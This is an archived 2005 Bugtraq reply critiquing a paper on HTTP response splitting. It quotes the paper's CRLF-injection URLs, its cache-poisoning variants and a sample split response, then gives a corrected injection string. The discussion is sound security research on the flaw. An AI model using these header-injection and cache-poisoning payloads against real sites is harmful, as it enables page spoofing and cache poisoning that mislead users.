Re: HTTP RESPONSE SPLITTING by Diabolic Crab

From: Amit Klein (AKsecurity) (aksecurity_at_hotpop.com)
Date: 04/17/05

  • Next message: Mailinglists: "ERNW Security Advisory 01/2005"
    Date: Sun, 17 Apr 2005 15:44:52 +0200
    To: bugtraq@securityfocus.com, dcrab <dcrab@hackerscenter.com>
    
    

    Hi dcrab

    See my comments below.

    Thanks,
    -Amit

    On 13 Apr 2005 at 13:45, dcrab wrote:

    >
    >
    > HTTP RESPONSE SPLITTING
    > by Diabolic Crab (dcrab@hackerscenter.com)
    > http://www.digitalparadox.org
    >

    It would make sense to mention that this is based on your reference
    #4 ("Divide and Conquer - HTTP Response Splitting, Web Cache
    Poisoning and Related Topics", by yours truly...).

    [...]
     
    > This paper is going to focus on the usage of HTTP response
    splitting vulnerabilities in the case of web applications. This type
    of vulnerabiliy being fairly new, I have found it to be present in
    many large corporate websites, some of which might surprise you, most
    of them still exist.

    Right on!

    > Thus injecting something like,
    >
    > http://icis.digitalparadox.org/~dcrab/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/font%3E%3C/html%3E
    >

    [...]
     
    > Server to User 302 Found Response
    >
    > HTTP/1.1 302 Found [First standard 302 response]
    > Date: Tue, 12 Apr 2005 22:09:07 GMT
    > Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c
    > Location:
    > Content-Type: text/html
    > HTTP/1.1 200 OK [Second New response created by attacker begins]
    > Content-Type: text/html
    >
    > <html><font color=red>hey</font></html> [Arbitary input by user is shown as the redirected page]
    > Keep-Alive: timeout=15, max=100
    > Connection: Keep-Alive
    > Transfer-Encoding: chunked
    > Content-Type: text/html
    >
    > 0
    >
    > As we can see in the exploitation process above, the server runs the normal 302 response, the arbitary input we gave in the location header causes it to start a new 200 OK response which shows our inputted data to the user as a normal web server response, Thus we have carried out a Cross Site Scripting exploitation of the Html Splitting vulnerability.

    I'm afraid I have to disagree here. The above is still an almost
    valid *single* HTTP response. It has a URL line, headers (including 2
    not so valid headers) followed by HTML body. There is no length
    specification in the header, and thus many agents will assume that
    the body extends to the end of information (connection is to be
    closed by the server) - that's a standard practice to overcome CGI
    scripts that don't send Content-Length header.
    Anyway, even if some HTTP agents would interpret the first double
    CRLF as termination for a response (i.e. assuming Content-Length=0),
    the body is still not a valid HTTP/1.x response.

    If you want to really split the HTTP response stream into two
    responses, you will need to properly terminate the first response,
    and then create a whole new response, e.g. by injecting:

    %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
    Length:%20NNN%0d%0aContent-
    Type:%20text/html%0d%0a%0d%0a<html>...</html>

    And regarding XSS, the original injection does not end up in an XSS
    condition with IE - see your own reference #1 (“CSS before redirect”
    by Thomas Schreiber (BugTraq posting)).

    >
    > Cache poisoning:
    > To make the cache server, cache our request we must add some new headers. The Last-Modified header in the HTTP response will cause most cache servers to cache the web site, thus allowing our poisoned website to appear in the cache, as long as the Last-modified header is sent with a date ahead of the current date. Sending of the Cache-Control: no-cache and/or Pragma: no-cache requests will cause non cached websites to be added to the cache.
    >
    > Some example versions of the cache poisoning exploits for the above vulnerable example are,
    >
    > Last-Modified example:
    >
    > http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Wed,%2013%20Jan%202006%2012:44:23%20GMT%0d%0aContent-Type:%20text/html%0d%0a%0d%0a><font color=red>hey</font></html> HTTP/1.1
    >
    > Cache-Control example:
    >
    http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCache-Control:%20no-cache%0d%0aContent-Type:%20text/html%0d%0a%0d%0a><font color=red>hey</font></html> HTTP/1.1
    >
    > Pragma example:
    >
    http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aPragma:%20no-cache%0d%0aContent-Type:%20text/html%0d%0a%0d%0a><font color=red>hey</font></html> HTTP/1.1
    >

    Again, you need to first terminate the first response, e.g. by
    injecting Content-Length: 0. And including raw white spaces (between
    "font" and "color" is probably not a good idea too.

    [...]
    >
    >
    > Refferences:
    >
    http://www.securityfocus.com/archive/107/336744
    > http://www.securityfocus.com/archive/1/271515
    > http://www.securityfocus.com/archive/1/290872
    > http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf


  • Next message: Mailinglists: "ERNW Security Advisory 01/2005"

    Relevant Pages